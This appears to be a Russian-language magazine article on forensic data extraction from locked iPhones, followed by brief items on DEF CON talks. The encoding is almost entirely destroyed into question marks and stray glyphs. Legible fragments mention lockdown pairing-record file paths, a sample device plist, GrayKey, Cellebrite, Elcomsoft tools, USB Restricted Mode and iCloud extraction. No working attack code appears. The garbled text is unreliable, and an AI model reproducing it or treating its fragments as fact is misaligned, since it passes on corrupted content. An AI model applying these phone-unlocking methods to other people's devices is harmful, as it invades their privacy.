???�???�??�?�??????�??�?爄Phone��????�??�??�爄OS���????
?????�??�???�?�???�?�??�??�????�?
???�???� ??� ??� ????�?????� ????�?????� ?� ????????� ??� ???�????,� ??� ??????�
?????�?� ???�??� ???� ???�??�???�??� ???�??,� ???????� ??� ??????�?� ?� ??????�
????�?????�??�??????�?�??�??爄OS:
? iOS� 8.x?9.x:� ????�?????� ????� ????�????�?� ???� ????� ???�??????� ??
?�???�????
? iOS� 10.x?11.1.2:� ????�?????� ??????�???� ?????�??� ???�??�?,� ?????�
?????�??�??�?????�???燝oogle.�?????�?�?�???�?????�?????
? iOS�.2?11.3.x:�???�?????�????�??�?��????�???�???�??�???
? iOS�.4��???:��??�?????�?????�???�?�?�????�??�?.
INFO
????,�????�?????�????�???�??�?????�??�???�
?????� iDC?4501� ???�???�?� ???�???� ????�????
???�???�??� ?� iPhone,� ??????�???� ???� ????????�
????爄OS�??�??��.0�?�.1.2�???�?????�?,
???�?�???�??????�?�?????�???�??�??.
?�??,�???�??�??�????�?�???�??????��???�??�??�???�??????�??????
???????� ????� ??????????� ??????�?� ???�???�?.� ????�??,� ?� ?????� ??� ???
??????�?� ?� ?� ??????�??�?� ??� ????,� ?� ?????� ???�?????� ???�????� ??� ???�??
???????��????�??�??爄OS�?�??�???�??�???.
??????????? ??????
?
? �?????�?????
COVERSTORY
??? ???????? IPHONE
?????????�?�????�??�???????
???????��?????�????????�營OS
??�??�?????�???�??�?????�??�??�??�??�???�???
??�???� ??� ????�?� ?� ????� ???????� ??????�?� ???�?????�??�??� ???????,
???� ??????�?� ????????� ???� ???�????�?.� ??????�?� ?????�?� �????�?�
???????�??�?:� �??????�?� ???� ???????.� ???�??�????�?!粻 ??� ???�??� ?????
?????�????� ???????,� ????� ????????� ???�??�??� ?????,� ??� ???� ?� ??� ???�?
???�????�???,� ????� ???�?� ?????�???� ?????�?.� ????�?� 10?15� ?????� �??
??????�?�?????�,�?�??�??�??:�???????�????�??�??�???�??�??�??????�
????� ????� ??� ????�??.� ?????� ????,� ?� ???????� ?????� ????� ?????,� ?� ???????
?????�??�???�?�??�??????�?�??�??�????�?�?????�???�??�?????�???�
????�???�??�??�??�???�???�?????�?�??�??�???�??�???�?�(?�??�?????
?????� ??� ????�??� ???� ???�????�?� ?????� ??� ????????�?� ?� ??????�??�?
??�???�?????).
Apple�????�??�爄OS�?????�?�????�??�????�??????,�???�????�????�
??,��??????�?????�?�??�???燭ouch營D�燜ace營D�??�???�?�??????�?????�
?????.� ????�?� ????�????�??� ???�?,� ???????� ?????� ?????�?????�?� ???� ?
?????�?�??�?????�??�??�????�?�???�?,�??���????�?�??�????�?�???�
??�???�??�????�?,爄Phone�??�??�??�??�????�?�??�??�???�???�??????�
????�???�????�???�?�??�??�????�?.
?�???�??????�??�????�???�?�??�??�????�?
??� ?????� ???�????� ????�??�?????�?� ??� ????� ????,� ???� ?????� ???� ?� ???� ??
???�?????.�??�????�?�??�?????,�??�?????�????�??�??�???�????�???�?
????�?� 48� ?????� ?� ?????�?� ???�?????� ???�??�????�?,� ???� ????�?� ??????
?????,� ????� ????�???????� ??� ???�??� ???� ???�????�?� ?� ???????� ???�?� ????,
???� ???�?� ????� ??????�??� ???????� ???�???�????,� ???� ???�?� ????,� ???� ?????�
????????�???�???�?�????燬OS,�??????�?????�?�爄OS�.
????,��???�???�????爄Phone,�????�?????�?�??�??�???�??.�???�???�
??????
1.�??�????�?� ?????�???� ????�???�??�??� ???�????�?� ????�?� ?� ???�???�??.
????,� ???,� ????� ??� ??????�?� ????�??�???� ???�??????�??� ??????�?� Ex?
change�??燤DM,�????�??�???????�????�???�??�?????�???.
2.�??�??�?� ???????� ?� ?????�??�?� ?� ???????�?� ????�?????� ???????�??
????�????.� ???� iOS� c� 8� ??� 10� ???� ???�?� ???�????�?� ???�???�???� ???�??
Trust� this� computer,� ?� ???� ???� iOS� 11� ?� ????� ????� ???�???�???� ????�?� ???
???�????�?.� ????� ??� ???� ???�????�?� ????�?????,� ???????�?� ???�?
??� ?????�??�?� ????�?????�?� ????� lockdown� (?� ???,� ???� ???� ?????� ?� ???
???�??�?,�?�??�???�?????�?�?????).
3.�?�?� ???�???� ????�?????� ???????�??� ????�????,� ???�??� ?????�???
?????.
4.�?�?� ??� ???????�??� ????�????� ????�?????� ??� ???�???,� ?� ????� lockdown
??�????�?�??�???�??�??�????�????,�???�??�??�?�??�???�?????�?
???�???�??燝rayKey�??�??�???�???�??�????�?�??�???�???燙ellebrite
(??�??�???�?�???�?�??????��???�???�??�?????�??�????).
???�??????�??�?????�?�??????�????�?�??�???�?�????�???�???�
????�??�??�??�????�?.�?????�???????�?????�?,�??????�????
??????��??????,�??�?�??�?�???
???�?????� ???� ???�?� lockdown� ???�?� ????????� ?� ??????� Acquisition� of� a
Locked� iPhone� with� a� Lockdown� Record.� ?� ????� ???�??:� ???� ????� ???�?� ??????
????�?????�?�??�???��????�??�??,爄Phone�??�???�???�?????�???????�
???� ?????�????,� ?� ???�??�?� ??????�?� ???�???�?� ????� ????�????�????�??
???�??.� ????� ??� ???�??� ???�???�???� ?� ?????� ??????�???,� ?� ???�??� ???????�
????�?�????�???,�??��??�??�?��???�???�???�??�?.�???�????�???
???�???�???�?�??�??�????�???�??�??�?????�?????�?�??�?????�???�
?????�???�?,�?�??????�????�??�??,�??�???�???��??????�??�?????�
???�??.�???�??�?�??�???�???�????:
? ?� Windows� Vista,� 7,� 8,� 8.1,� Windows� 10� ???� %ProgramData%\Apple\
Lockdown.�??�????:
\ProgramData\Apple\Lockdown\6f3a363e89aaf8e8bd293ee83948573034
4edba1.plist
? ?� Windows燲P�??�???� %AllUsersProfile%\Application燚ata\Apple\
Lockdown.�??�?????�??�??�???�????�??�??�?�??:
C:\Documents燼nd燬ettings\All燯sers\Application燚ata\Apple\
Lockdown\6f3a363e89aaf8e8bd293ee839485730344edba1.plist
? ?爉acOS�??�???�/var/db/lockdown.
?� ???�????� ???�?� ???�???�??�?� ???�???�??� ????�?????�??� ??????�???
(iPhone�??爄Pad).�?????�??�?????�?�??�?��??�????�?�????�???�??�??
???�?????燛lcomsoft爄OS燜orensic燭oolkit.燯UID�????�??�????��???燲ML.
<?xml爒ersion="1.0?爀ncoding="UTF?8??>
<!DOCTYPE爌list燩UBLIC�"?//Apple//DTD燩LIST�0//EN"�"http://www.
apple.com/DTDs/PropertyList?1.0.dtd">
<plist爒ersion="1.0">
牋�dict>
牋牋牋�?>
牋牋牋�key>UniqueDeviceID</key>
牋牋牋�string>0a226c3b263e004a76e6199c43c4072ca7c64a59</string>
牋�/dict>
</plist>
????�??�?�??�??爈ockdown�爄OS���????�????�??�???�???�????��
???�????�???�?????.�????�????�???�?�??�???�???�?????,�??�?????�???,
???????� ??� ???�??�?????� ?� ???????�???� ?????�??�?� ????�?� ????� ???????,
????�?� ???�???� ???�????�?� ????�??�????� ???????�??� ????�????,� ???� ???
???�??�??�?�????�?�??�?????.
INFO
???�??�???�?��???�??��?.�????�?????�???�
?????� iDC?4501� ???�???�?� ?????�???� ????�????
???�???�??� ??� ???�??�???�??�??� iPhone
???�
???????�???�
iOS�
???�??
?� 10.0� ??� 11.1.2� ????�?????�?,� ???�?� ????
???????� ??� ??????�???� ???�??.� ???� iOS� 11.0?
11.1.2,� ???�????,� ???�???�???� ???� ????�?� ???
???�????�?,� ???� ??????�?????� ????� lockdown
(????�?????��??????�????�??�???�?�?�????�
???,� ???� ?� ???�???????� ????�?� ???�??�?
???� ?????� iPhone� ???� ???????�???� iOS� ?????,
???爄OS�x).
???�???�???�?�??????�??�?�??�???�???????,�???��???�???�??�??
?�?????�???�???�?????�?��??�???�??�?�???�?�??�???.�??�?�?�???�
????�???�??????�?????�?�?????�???�??�???�?爇eychain.
???????營PHONE�??�????????
??�????�???�??�???�??????�????��????�??�??.�???爄Phone�???�??,
??� ?????� ????� ??� ??,� ???� ???�????� ???�??�???�??� ??????�???� ????� ??� ???
?� ?????�?� ????�????.� ???,� ?� ????� ???�???,� ????�???� ???????� ???�???
?� ?????�????�???� ????�???????�??�?� ???�???� ?� ??� ????� ?� ????�??�?????
???�???�???��?�??�??,�??�?????�??�????��??�???�??�???.
?� ??????�?,� ???????� ???� ???�??�???�??� ????� ??� ???,� ??????�?� ???�???
AFC,� ????�?� ???�????� ?????�???� ?????,� ????� ???�???????� ????????� ??� ????�
???,��??????�??�???�??�????�?�??�??.�??????,�??�?�??????�?????�
?????.� ???� ???�?� ???�?� ????� ??� ???�??�?� ???�??�???�???� ???????:
???� ????�????�??� ???�?� ???�????�?� ???�???�?????�?� ???�??� lockdown,
?????�??�??�?�????�??�?�???�?????�?.�???�?�?????�??�?�??,�??�?
????????�?� ???�??�???�???� ???????� ???�????� ????�??�?� Touch� ID� ???� ????�
?????�???燜ace營D.
????,�???�???��???�????�???�??�??爄Phone��??�?????�??�??�????�
???,�?�?????�??�???????�??�???�??�?????.
1.�??�??�???� ???????� ?� ?????�??�?.� ????� ??� ??????�?� ?????�???� ?????�
?????燯nlock爄Phone爐o爑se燼ccessories,��????�???�????�????�?�????
??????�???,� ??� ????� ??� ?????�?:� ????�???,� ??� ??????�???� ??????�?� iOS
11.4.1� ???� ?????� ?????� ?� ????�?� ????�?� ????� ?� ?????�?,� ???�?� ?????�
????????� ?� ???�?????� ???� ???�??�???�??� ??????�???.� ????� ?????� ???�?
???�????� USB� Restricted� Mode� ?� ????� ????�???� Apple� ??� ????�????� ????�
?????� ???� ????�?� ????� ???�????�?� ?� ?� ???�??� ???�???� GrayKey
?� Cellebrite.� ???,� ????� ???????� ???????� ?� ?????� ????�???�??� USB,� ????
??� ????�??� ??� ???�???�?????�?� ???�??� lockdown,� ??� ?????�???� ???� ????�
?????�?� ???� ??????� ???�????� GrayKey� ???� Cellebrite.� ??� ???????
??�??????�????,�?�???�??�??�??�????�??�??�?�????爎ecovery爉ode
?� ???�?????�?� ???�??.� ?????�???�??� ???�???????� ?� ???�??�???�???
???????� ???� ??????� Face� ID,� Touch� ID� (?� ???� ?� ?????� ???�?,� ?� ???????
??????�?� ???�?� ??????�?????� ??????�???� ???� ???�??�????�?,� ????�????�
??).� ???????,� ???????� ????�?� ???�?� ???�??�???�???,� ???�?� ???�???�??
???�??�????�?.
2.�?�?�??????�??�??�??�?��????�??�?,�?�??�??,�??�??�?�??�???,�
????????� ???????�??� ??� ??????�???.� ?� Elcomsoft� iOS� Forensic� Toolkit
???�??�?�??�??�????�?營nformation.�???�??�???�??�????�??????�??
????�????� ?� ?????�??�??� ??� ???�???� ??????� ???�??� iOS,� ???�??� ?????�
??????�??� ??????,� ?????�??� ?????� ??????�???� ?,� ???�????,� ?????
??????�?� ????�?????�?� (????� ????� ??� ??????�?� ??????� SIM????�?).
?� ??????�??�?� ??� ????�??�?????� ???�??� iOS� ????� ?????� ???�????� ??
???�???�??�???�??�???�?�?�???�???????�???�??�??.
3.�?�?�??????�??�??�??�?��????�??�?,���???�?�????�???�???爈ock?
down� ?� ?????�??�?� ????�?????�?� ?� ???�??,� ???� ????� ?????�?.
???� ??????� ???�?� ???�?� ???�?� ????????�?� ???�???� ???�??� ?????�???
?????� ?� ???�??�???�???� ???????� ??� ???�??�?!� ????�??,� ?� ???�??� lock?
down� ??� ???� ???????� ????� ????� ???�???�???,� ??� ????� ????�??� ???????
??�?????�?�??�??????�??�????�??�??????�??�?�?????�???�(????
iPhone� ??� ???� ???�??�???�??� ????� ??� ???� ???�?� ????�????).� ?� ???� ????
???????�??�??�??�???�??�???�?�??�??�?�??�?�???,�??�??�????�
????,� ??� ???� ??????� ???�?� lockdown� ???????�?� ???????� ?� ????�???�?
(????��????),��??�??燾rash爈ogs,��??�?�??�???�??,��??�??�?????�
????� ?????� (???� ????�?� ??????� ??� ?????,� ????� ??� ????�??�??,� ????�???
??�??????�?��??�??�?�????�??�??�????�?).
??�??,�???�?�????��???�???�????�??�??�??�??�??�??�???�????�???�
???� ????� ????�???� ???�???�?� ???�????�??� iPhone,� ????� ???� ???� ???�?� ????�
????�???� ??????� ???� ???�????�?.� ????� ?� ???,� ???� ???�??� ????�???????�???
???�??� iPhone� ?????�????,� ?� ????� ???�??????� ?????�???�?� ??????�??�?
??�???�?�???�??�???�??�?��??�??,�??????�??�??�???�???????,��???
??????�???�??�????�?.
??�?�???�?�????�???�?�?????�?�??�????�?�?????,�???�??�????
??� ???????:� ???�??� ?????�?????,� ???�???� ?� ???� ???.� ?????� ????:� ????
iPhone� ??????�?� ???� ???????�???� iOS� 11.4.1� ???� ?????� ?????,� ??� ?????
??????� ????�??????,� ???� ??� ???�?� ???�???�???� ??????� ??� ??� ???�???� ????
???�??�???� ??????�???� ?� ?????�??�?.� ???�??,� ???????�?� ???�??�???� ??� ???
???�???,�?�?????�?�??�??�????燯SB�????�??�?????�???��?�???????�
??� ????� ????????� ???????�??� ??� ??????�???� ?� ??????,� ?????� ??� ???�??� iOS
??�??�?????�?.
????,� ?� ????� ??� ?????� ???�?????�??�??� ???????,� ???????� ???�?� ???�???�
????��????�??�?.�??�???�?�???�???�??�??�????�??
?�????�??????�????�???????�??�?????????
??????
???�?��??�?�?�?????�???�??�???.�??�?�?�???�???爄Phone�?�?????
??????� ?� ??� ???�??� ?� ?� ????�????� ????� ???????� ???�?????�??,� ?� ???� ????�
?????�?� ????�?????,� ???�??� ?????� ????????� ??� ???�?????� ??????�???.� ????�
????�??�??�??�?????�????�????�???,�??�??????�?��????�?�??�?????�
???�???�????.
1.�?� ??????�?� ??????�?� ???�??� ???�??� iOS� (??� 11.4)� ?� ???????� ???�???�
????�??�?� ????�?????�??� ????� ??� ???� ?� ?????�?� ??????�??� ???�????.
?� ????� ????�?� ???�??�???�??� ????�???� ??� ???�???� ???�???�?????�?
GrayKey�??�???�???燙ellebrite�(????�?�???�???�????�??�???�????????�
???� ????�?).� ???�????� ??????�?� ?????� ???????:� ???????�???�??� ????�
?????� ???� ???�????�?� ???�?� ?????�???� ?????� ???� ??� ???,� ?� ???�????
??????�?� ???�?????�??� ???�????� ?????� ?????� ???????� ???� ????�
???�0�????�??????.�???�?�??�????�?????�?�??�?�??�??�?��???�
????�?�?????燬ecure燛nclave.
2.�?�?????�?�?????�?�??�??�??�??爄OS�(??�.4)��??????�?�??�???�
????�??�?�?�???�??�?�???�????,�???�??�??爄OS�.4�(?????�?,�???�
???�???�??�?�?�??????),�???�??�??爄OS�.4.1��???�(?????�?,�???�
???�???�??�?�?�??????,�?�????燯SB燫estricted燤ode�?�???�???�???�
??��?�???�???�?�???�?�???��??�?????�??�??�????�?�?????�???
???�??????�??�??�??�??��??�?????�???�???,�??�?�??�??�??�???
???�????�?).� ??� ????� ????� ???�???� ???�????� ??????�?� ?????� ?????� ????�
??????:�??????�???�??�??�????�???�??�????�?�????�???�???�???
??�?????,��??�?????�??�??�????�??�??�?�?????�???�?�???�??.
3.�?�?????�?�?????�?爄OS�.4.1�??�????�?????�???�???�??�?�????
USB燫estricted燤ode.�??,�????�???�??,�??�??�?�??�???��????�???�
???,� ?� ???� ???�???????� ???�??�???�???� ???????� ???�????� Touch� ID
???燜ace營D�???�???�?�??�???�??�??�??�????�?.�????�???�???�????�
????�??�??� ???????� ??� ????�??,� ???� ??� ????�??� ?� ????�?� ????�??????
???�??� ???�?� ??????� ?????�??� ???????� (????� ???� ?????� ????�???� ?????�
??????�??).
???�???????�????�???�?????????
???� ???�????�??� ??????�??� ?� iOS� 10� ???�??� ?� 11� ?????�??�?� ???�?� ???
???????,�??????�??�???�?�????�???�??�??�????�?�???�?.�???�?�??
???�?????�?� ???�????� Cellebrite� ?� ???�??�????�?� ???� ?� ????� ???�???,� ????�
?????�?�????�?????�?�??�???�???????�??�???�??�??�??????�???�????�
???�??�?� ???�????�????.� ???�?� ????�???� ???� ???�????�?,� ???????� ???�?
?????�???� ?� ???�?????� ?????� ???�?????� ?� ???�?� ??????,� ???�????� ??
???????� ?� ????�???,� ????� ????�????� ?????�???� ???�????�??� ???�???.
???� ???????� Cellebrite� ?????�??� ?????� ???�????� ???�???�?� ????�???� ????
???�???.
???�??� ???????� ??????�???� GrayKey� ?� ???� ???�?????�?� ???�????
Grayshift.� ???????� ???�????�???� ???�???�???????�??� ????�??� ?� ??????�??
???�??�???�???�???,�??????�????�????�??????�?�???????�?�?????�??
???????.�??燝rayKey�??�????�??�???�?.
??�????� Grayshift� ??� ????�???�?� ???????� DFU� (????�?� ?????� ????� ????�
????� ????�???� ???�??� ????�?)� ?� ???�???�?� ?????� ?� ??????� ???�???.
???????�??�?�????�???�??�?�?????�????,�??????�???�??�??�???�???
????�?�??�??�?�???�????�??�??????�????,�??��?牜?????�??粻???????�
?????,�??????�???�???�?�??�???�???.�??�???�??�????�?????�?�????�
????�?�???�?��???��?�????�?.
???,�??�?????�???,�??????�???�???�?�??�??�??�???�???�??�?�???�
?????,�??�??�??????�???�??????�?�??????�???�??�????�?��????,
??� ???� ???�?� ??� ??????�???,� ????� ???� ????� ????�?� ???� ????�???,� ???�?
??�??????�???�??�??�????�????�?�?��???,��??�????�??�?????�??
???�????� ???????� ???� ?????�???�???� ???�???� ???�?� ??????:� ???�??
???????�??�??�?????�????�(??????�????�???�?�???�???�????�?�??�??
??????� ?????).� ????�?,� ?� ???�?????�???� ??????� ????� ???�????:� ????�
??�0�????�??????�??�????�?????�?�??�?�???�?��?????�???�??????�
???��????�??�????�?�?????�?.
?????��??�??�????燝rayshift
???�??� ???�???� (???� ???�?,� ?� ??????�??�?� ??� ???�?� ???�??)?� ???,� ??� �???�
????粻???????�??�????�???�??�??�??爄OS�?�.3.1�???�?????�?.�???
????�???????� ????� ??� ???� ????????� ????� iPhone� ???�?� 29� ???� 2018� ????,� ??
??� ??????�???� ?????� ????????� iOS� 11.4� ???� ?????� ?????.� ???� �??�???�
???????�??�?????燝rayKey�????�????.�??爄OS�.4��????�????�???�
???� ???�????� ??????�?� GrayKey� ????�???�?� ?????� ???????� ?� ??????� ?????.
???� ????�???,� ???� ??????�???� ?� ???�?????�??� ???�????� ?????� ???�????�?
(?� ???�????�??� ???�??� iOS� ????�?� ?????� ???� ????�???�?� ????�?????
??�???�????)�???�???�????�???�????�?�????�????.
?????燯SB燫ESTRICTED燤ODE
??� ????� ??????� ???� ????�?????�?� ??????,� ?� ???� ???�?� ?� ??� ????�????
??????� ???�???.� ???????� ?� iOS� 11.4.1� ??????�???� iPhone� ?� iPad� ???�?????
???�???�?� ?????� ???�???� ??� ???�???�?� USB� ????�?� ????� ???� ???�?� ????,
???� ??????�???� ????� ???�??�???�???� ???� ?????�???� ??� ???????�??.� ???�??
???�?,�???�????�??�??�??��????�??�???�??�????�??�???�??燝rayKey
?� Cellebrite,� ???????� ???�???�?� ?????�???� ???� ???�????�?� ??????�???
???� ??????� ????�??�??�?� Apple� ???�??�??.� ?????� ???�??�?� ???�????�?
????????�??:� ??????�???� ?� ???�?????�??�??� ???�??� ?????�????� ???�???�
????��???�???�??�???�??�???,��??????�?�????�???�?.
???�??�????�????爄Phone,�???�??�???????�??�??�???�??��????�
???�?�??�??????�??�???�?�??�??�?�??�????�?�???�?�??�????�
?????�?�????�??�?�??�??????�??
???�?� ??� ????�?� ?????� ??????� USB?� ??????�??,� ???� ????�????� ??????�?
???�??�??�????�?�??�??�???�???�??????,�??�????�??�?????�???�???�
??�???�?�(???????,��???�??�???,�???�?�????��?.�???).�?????�??,
???�???�????� ????�???�??� ???�?� ???�??�??�???,� ???�??�??� ???????
??� ????�????� ????� ?� ?????�?� ???�?????� ???�????�?� ?� ???�????�???
???????�??�(?????�?�?�??!)�???��??�?????�??�??�??�?????.
???�?�??�???,�??�??�????�??�?????�??�??�????�?�??????�??�???�
??�?�???�?�???????�??????��???�?�??????,�?��??�??�???�??��???�
?????�???�??????�??�(???�??�?,��??�???,�??�????�??�??????�??燗pple
?燣ightning�?燯SB��????�?????�??�??�??��??�??�???�????�?).�???
???�?� ??� ???�???,� ??� ???�?� ?????� ???� ???????� ?????�??� ?� ?????�??� ?????
?�????�???�??????�????�??�????�?�?�???�??.
??�????�????��??�????�???�??�?.�燗pple�??�?��??�?????�?�????�
??� ?????�??� ?????� USB� ?� ???�?????�???� ???�??????,� ???????� ?????� ????�
????�???�?????�?�??�??�???�??�?�??�?�??�????�?�?????�???.�???�??
???�???????� ???�??� ?� ???�??� ???�??�??� ????�?� iOS� (?� ???� ??� ????),� ??
??????�?� ???�??� ??� ???�???�?� USB� ?????� ????�???�??�?� ????�?????�???
???�?�??�?�??�????�?�???�?�?????�???��??�??�???�??????��???????�
????�??�????�??�?�??�??�?��??�??�???�??�??�??�?????.
??�?� ?????�??� ????�?????�?� ???�???� ?????�????� ???� ???????�???
??�???�????�?�(????�??,�??�??�??�????�????�?�??�??�?�??�???�????
USB燫estricted燤ode)��??�????�?�?�???�??�????�??�?????�??��?�?
??�????�???�???�??�?.
???�?????,�???�??????�???????????,�?????�??�??
?????�??
???�??�?�??????�??�??�?�??�?????�??�???�??�??�??�???�?????�????
???�??�?� ???� ??,� ???� ?� ??� ??????�???,� ??????�?� ???� ???�??:� ?????� ????�?
iCloud.� ???????� ???� ???????� ????�???�??�??�?� ???�????�????� ?????� ????�
??????� ?� Apple� ???� ???�??� ??� ????�??� ??????� ????�?????�?,� ????�??
????????� ?????�???� ?????.� ???� ????� ???�??� ???�????� ???�??� ???�??:
???�?????燗pple營D��?????�???�?????�?.
??�???�????燗pple營D��??????�??�?,��??�???,�????�???燛lcomsoft營n?
ternet� Password� Breaker� ??� ?????�??�?� ????�?????�?� ?� ???�??????,� ??� ????�
???�?� ??� ???� ??????� ??� Apple� ID� ???� iCloud� (??� ?????� ?????� ?� ???� ??).
???�??�???????�???�???�????�??�?.�???�?�???�?????�??�????�??????�
???,�???�??�???�???�???,�??�?,�??????燬MS�?燬IM????�?,�????�??�??
??�???�?爄Phone.
??�????,� ???�?� ????�???� ??� ?????�??�?� ????�?????�?� ???� ??????�???
???�??� ?????�?????�??,� ???????� ???�????� ????�???�???�?� ?� iCloud
???� ??????,� ??????� ?� ???�??�???� ???�???� ?????�?????�??.� ??????�???,
???� ???�??� ?????�?????�??,� ???� ?� ??????� ??� Apple� ID� ???� iCloud� ?????� ????�
????�?��??�??�??�??,�?�燬IM????�?�????�???�?????�?�???�???�??
PIN??????,� ??� ????� ????� ???�???� ????�?� ???� ???�???�???,� ??� ???� ??????
???�????�???�??�???� ???�?� (???�????,� Elcomsoft� Phone� Breaker)� ??� ????�
????�??�???�??�?????�???:
? ??�?????� ?????�???� ?????� (??� ????� ???� ???�???� ??????�???� ?� ????�??
??????)?
? ???�??�???�????�??�??�??.�????��??�????:��??�??�????�??�燬a?
fari� ????�??� ?� ????�???� ??????�??,� ?� ?????�???,� ?� ?????�?,� ?� ???�????,
?�???�??�??�???�??��??�??�??�??�???�????,�???�??爄Message�(???
iMessage,� ????�?,� ???�???�???� ???� ??????,� ???� ?� ???� ???�????�?� ????�?
??�??????�??�?????�??�???�?????�?).�???��???�?????�?�???燤ac,�?
?????� ???�???� ?� ???�?,� ???�??�???�????�??� ?� ?????�??�?,� ?� ????
??????�????�??�???�??�??�?????�?�??�???燜ileVault�
? ??�?�???�???爄Cloud燩hoto燣ibrary��?��????�?????
? ??�?�???�??爄Cloud燢eychain,�?��?????�???�?????�?�?�??�??�?????�
?????� ?????�??.� ???� ???�?� ???�???�???� ????�?� ???� ???�????�?� ????�?
??�??????�??�?????�??�???�?????�?.
??????????
??�?�?�??�????�??�?????,�???�???,�?�??�??????�?,�??�?�?�???�???
iPhone� ??� ??????� ?????� ???� ??????� �??????�???� ????粻 ???� ???�????�????�
???�???�??????�???�??�???�?�??�???�?�?????�??�?????�??.�?,�???�
??� ?� ????� ???????� ??????�?� ???� ???????�???� iOS� 10?11.2.1� (??� ????
??� ???????� ???????�??� ??� iOS� 11.2,� ?????�??� 2� ?????�?� 2017� ????)� ?� ???
?????�?� ???�??�???�??� ?????�???�???,� ??� ???????� ?????� ???�????�?
???�??�??�????�?�???????.
??�?� ????�???????� ????� ???� ????�??� ??????�???� ???�?� 2� ?????�?� ?????�
????� ????� ?� ?????� ??� ???�???�?.� ????� ???????� ???�?????�??� ????�??�???
???????� ?� ?????� ??� ???�???�?,� ???� ???�????�?� ???�??�?� ????�?????
??????�??�?????�?燝rayKey�??燙ellebrite�(???????,�???�?,��??�??�???�?
?????�??????�?� ?????�??� ???� ???�??).� ????� ??� ???????� ???�?????�??
?� ??????�?� ???� ???????�???� ???�??� ???�??� iOS� 11.4.1,� ?� ?� ?????�?� ????�
??????� ???�??�????�?� ???� ???�??�????� ?� ???????�??� ????�?� ????�?� ????,
??�?�??????��??�??�???.
??�???�???�??????�???,�??�??????�?????�?�?爄OS�.4.1?�?�??�??
??????�????� ???????�??� (Apteligent� ?� StatCounter),� ??� ????� iOS� 11.4.x� ????�
?????�?�?��?�%�?????�??.��?????�??,�??????�?�?�???�?�??�????
???�?� iOS� 11.4� ?� 11.4.1,� ????�?� ????�????�??� ???�??� ???�???�?� ?????�
????????,� ???� ????� iOS� 11.4.1� ??� ?????� ???????� 2018???� ???�????�?� ??????�
??� 57%.� ?� ???�??�?????� ???�?� ???�???,� ???� ????�?� ???� 57%� ??????�??
??� ?????�?????� ????� ?????� ?????�????� ????�???� ?????�?????�?� ???�?????�
????�????�??�?,�?�??�????�?????�???�?????�?�??�??�???�???�??????�
????�??�???�???�??�??�????�?.
?� ???� ???�???�?� ?� ???�??�??� ????????� ???�?� ???????� iOS� 12,
??� ???????,� ???�??� ???�?,� ?????�??� ????�????�?� ???� ????�?????�?� iOS
11� ?� ????�???�??� ????�?????�??� ???�??� ??????�??:� ?????� ???�??� ???�???
??????�?� ???�???�???�?� ???�???� ???�???�??.� ??????�??� ????�?????�?
????� ????????�??� ?????�?????�?� ???�???� �????� ?????� ???� ???�??� ???????�
???�,� ?� ?� ????� ????� ???�?????�??� ????� ????�?.� ?� ???�???�?,� ???�????
???????� ??� iOS� 12� ????�???� ?� ???�????� ???�??????�????� ??????� USB� Re?
stricted燤ode.
???爄OS�.4�??�??�???��??�??????�?�??�??????.�???�?????�??�?
???�???�?�??�?�???.�??爄OS�.4.1�??�????�??�???�??�?�???�???�?,
??�???�??????,�??�?�??�??,�?�??�???�?�??�??????.�???�?,�??�??�?
?????�???.
?�???????�???爄OS��??�????�??�??�????�??�???�?�????�?,�?�????�
???????�?�???�???�??�?�??�?�??�???�??????.
?????
?????
??????
?�?????? ??-???????????
??????�?????????,
???????????�?????
????????
??�?�?�??�??�??�?�??????�??�???�??
??????� ???�???� ?� ???????�?� ??� ???
?�???�??,�?�??�?�????�???�??.��??
???�?� ??????:� ?� ???� ???�?� ?????�??
????????�??� ????� ???�??� ???� ???�??
??� ????� ?� ???�?� ?????�?� ??????�???
?� ???????�??� ????�??????.� ???� ?????� ????
???�?????��???�?�????�??�????�?,�???�
???�?,� ??� ?????�?,� ?????�?� ???�???,
?????????� ????�???�?????� ????�??� ???
?????� ???�??�?� ???�?????�???� ???� ?????�
????�???????� ???�?????� ?????� ?????
???� �???� ?� ???�????粻 ?????� ????????�?
�????�???�??粻?�?????��??�?????�???�
???�?�???�?�????�??�????�??
?????�????
???????�?�?????????????
????????????.�??????????
??????,�????????????
�?????�?????????�
????????????�???????�,�
?????????�?????�???????
???�???????????.�??????
????????????????
?????????��??????????????
????????,�????????��????
??,�????????????
?????????.
vedacoder@mail.ru
???�?�?????�???��??????,�??�???!�????�?��???�???�?�????�?�???
??� ????� ????,� ??� ????� ???�??�?� ???�??�????� ???� ????� ???�??� ???�????
?�????,��??�?�??�?�??�???��???�?,�???�?��??�??�???�??
??????�?????????�??-????�?????�???????燯SB????
Mark� Williams.� If� You� Give� a� Mouse� a� Microchip...� It� will� execute
a� payload� and� cheat� at� your� high-stakes� video� game� tournament� //
DEF燙ON.�17
??� ?????�??� ???�??????�??� ???�???� ??� ?????�???�?� ???�????� ????
???�????� 20� ???�?????� ???�????.� ?????� ????� ???�?????� ????�??� ????
????????�?� ???�??�??� ??� ??,� ???�?� ???�?� ??� ???�?.� ?????�???�?,� ???
???�????�??????�???�??�?�??�????�?�????�???�?��??�????�???????�
???�????�????�??�??�???�?�????�??�??�?????��???????�??�????�???
???�??�??�??.
??�???� ???�???�?� ???????� ???� ?????� ?� ?????� ???�???� ??????�????
????�???� ???�?,� ???????� ??????�???�?� ??� ???�????� ??� ?????�???�?,� ?
??�??????�???�???�??????�???�??�?�?�??????????�??�?�??�???�??
?????,�??�????�??��??????�??�??�?燬team.��???�??�???�??�???�???,
???�??�?�???�?�???�??????�????�??�??????�????,�??�?�??�?�??�???�
??�?�??????�????�???�???牜?????�??�??�????�.
????�?� ??� ???�????� ??� ?????�???�?� ????�??� ???�???�???� ????�?????�?
???�???�??�????�??��????.�???�?�??牜????�??粻USB???????�???�???
???�?�?????�?????�??�?????�?�?????��????�???�(?????燞ID????�????).
???�?????� ???�???�?,� ???� ????????� ?????�??� ???�????� ?� USB?????,� ?????�
???�??� ???�??�????� ARM� Cortex� M.� ???�????�???�??,� ??????�???
???� ???????�???� ???�?� ???�??�???,� ???�???�?� ????�???????�???� ???�???
??�???�?????�??????????,�??�?�???�?�????�???�??�?�???�??�???
????�???????�???� ???�???�?� ???�?� ???� ???�???�??� ?????�??�??.� ???�?????
??????�??�???,� ???� ??� ??????�???�??� ???�??�?� ???�?� ????,� ???�?????
?�?????�??�???�????�??�?�??????????�????�??�??�????,�?�??�??????
???�???�???????�??�??�????�????�???.
???�??�??�?????�??�???�?��?????燯SB???????�???.
??�????????��??????????�????????��?????????�?
ANDROID
Nevermoe.燨ne燬tep燘efore燝ame燞ackers�營nstrumenting燗ndroid
Emulators�//燚EF燙ON.�18
